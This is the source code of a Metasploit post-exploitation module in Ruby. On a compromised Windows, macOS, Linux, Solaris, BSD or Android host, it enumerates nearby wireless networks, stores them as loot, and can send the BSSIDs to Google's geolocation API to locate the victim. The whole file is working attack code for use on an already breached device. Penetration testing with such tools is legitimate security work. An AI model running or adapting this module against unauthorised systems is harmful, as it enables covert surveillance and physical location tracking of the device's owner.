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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Multiplatform WLAN Enumeration and Geolocation',
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        'Description' => %q{
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          Enumerate wireless networks visible to the target device.
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          Optionally geolocate the target by gathering local wireless networks and
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          performing a lookup against Google APIs.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'],
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        'Platform' => %w[android osx win linux bsd solaris],
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        'SessionTypes' => [ 'meterpreter', 'shell' ],
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        'Compat' => {
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          'Meterpreter' => {
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            'Commands' => %w[
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              android_*
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            ]
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          }
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        }
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      )
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    )
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    register_options(
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      [
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        OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]),
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        OptString.new('APIKEY', [ false, 'Key for Google APIs if error is received without one.', '']),
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      ]
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    )
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  end
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  def get_strength(quality)
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    # Convert the signal quality to signal strength (dbm) to be sent to
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    # Google.  Docs indicate this should subtract 100 instead of the 95 I
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    # am using here, but in practice 95 seems to be closer.
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    signal_str = quality.to_i / 2
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    signal_str = (signal_str - 95).round
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    return signal_str
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  end
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  def parse_wireless_win(listing)
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    wlan_list = []
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    raw_networks = listing.split("\r\n\r\n")
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    raw_networks.each do |network|
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      details = network.match(/^SSID \d+ : ([^\r\n]*).*?BSSID 1\s+: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal\s+: (\d{1,3})%/m)
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      if !details.nil?
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        strength = get_strength(details[3])
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        wlan_list << [ details[2], details[1], strength ]
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      end
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    end
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    return wlan_list
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  end
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  def parse_wireless_linux(listing)
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    wlan_list = []
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    raw_networks = listing.split('Cell ')
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    raw_networks.each do |network|
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      details = network.match(/^\d{1,4} - Address: (\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
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      if !details.nil?
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        wlan_list << [ details[1], details[3], details[2] ]
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      end
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    end
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    return wlan_list
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  end
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  def parse_wireless_osx(listing)
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    wlan_list = []
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    raw_networks = listing.split("\n")
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    raw_networks.each do |network|
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      network = network.strip
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      details = network.match(/^(.*(?!\h\h:))\s*(\h{2}:\h{2}:\h{2}:\h{2}:\h{2}:\h{2})\s*([\d-]{1,3})/)
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      if !details.nil?
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        wlan_list << [ details[2], details[1], details[3] ]
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      end
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    end
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    return wlan_list
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  end
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  def perform_geolocation(wlan_list)
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    if wlan_list.blank?
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      print_error('Unable to enumerate wireless networks from the target.  Wireless may not be present or enabled.')
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      return
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    elsif datastore['APIKEY'].empty?
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      print_error('Google API key is required.')
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      return
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    end
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    g = Rex::Google::Geolocation.new
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    g.set_api_key(datastore['APIKEY'])
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    wlan_list.each do |wlan|
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      g.add_wlan(wlan[0], wlan[2]) # bssid, signalstrength
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    end
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    begin
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      g.fetch!
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    rescue RuntimeError => e
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      print_error("Error: #{e}")
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    else
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      print_status(g.to_s)
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      print_status("Google Maps URL: #{g.google_maps_url}")
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    end
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  end
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  # Run Method for when run command is issued
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  def run
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    case session.platform
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    when 'windows'
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      listing = cmd_exec('netsh wlan show networks mode=bssid')
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      if listing.nil?
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        print_error('Unable to generate wireless listing.')
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        return nil
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      else
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        store_loot('host.windows.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
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        # The wireless output does not lend itself to displaying on screen for this platform.
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        print_good('Wireless list saved to loot.')
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        if datastore['GEOLOCATE']
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          wlan_list = parse_wireless_win(listing)
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          perform_geolocation(wlan_list)
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          return
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        end
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      end
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    when 'osx'
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      listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s')
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      if listing.nil?
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        print_error('Unable to generate wireless listing.')
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        return nil
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      else
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        store_loot('host.osx.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
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        print_good("Target's wireless networks:\n\n#{listing}\n")
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        if datastore['GEOLOCATE']
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          wlan_list = parse_wireless_osx(listing)
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          perform_geolocation(wlan_list)
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          return
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        end
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      end
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    when 'linux'
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      listing = cmd_exec('iwlist scanning')
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      if listing.nil?
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        print_error('Unable to generate wireless listing.')
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        return nil
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      else
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        store_loot('host.linux.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
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        # The wireless output does not lend itself to displaying on screen for this platform.
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        print_good('Wireless list saved to loot.')
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        if datastore['GEOLOCATE']
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          wlan_list = parse_wireless_linux(listing)
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          perform_geolocation(wlan_list)
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          return
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        end
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      end
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    when 'solaris'
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      listing = cmd_exec('dladm scan-wifi')
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      if listing.blank?
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        print_error('Unable to generate wireless listing.')
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        return nil
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      else
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        store_loot('host.solaris.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
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        print_good("Target's wireless networks:\n\n#{listing}\n")
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        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
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        return
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      end
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    when 'bsd'
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      interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq")
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      # Printing interface as this platform requires the interface to be specified
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      # it might not be detected correctly.
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      print_status("Found wireless interface: #{interface}")
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      listing = cmd_exec("ifconfig #{interface} scan")
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      if listing.blank?
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        print_error('Unable to generate wireless listing.')
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        return nil
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      else
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        store_loot('host.bsd.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
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        print_good("Target's wireless networks:\n\n#{listing}\n")
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        print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE']
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        return
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      end
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    when 'android'
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      log = client.android.wlan_geolocate
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      listing = ''
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      wlan_list = []
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      log.each do |x|
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        mac = x['bssid']
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        ssid = x['ssid']
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        ss = x['level'].to_s
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        listing += "BSSID: #{mac}\n"
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        listing += "SSID: #{ssid}\n"
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        listing += "Strength: #{ss}\n\n"
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        wlan_list << [mac, ssid, ss]
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      end
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      if listing.blank?
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        print_error('Unable to generate wireless listing.')
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        return nil
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      end
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      store_loot('host.android.wlan.networks', 'text/plain', session, listing, 'wlan_networks.txt', 'Available Wireless LAN Networks')
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      print_good("Target's wireless networks:\n\n#{listing}\n")
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      if datastore['GEOLOCATE']
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        perform_geolocation(wlan_list)
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        return
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      end
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    else
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      print_error("The target's platform, #{session.platform}, is not supported at this time.")
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      return nil
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    end
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  rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
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  rescue ::Exception => e
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    print_status("The following Error was encountered: #{e.class} #{e}")
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  end
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end
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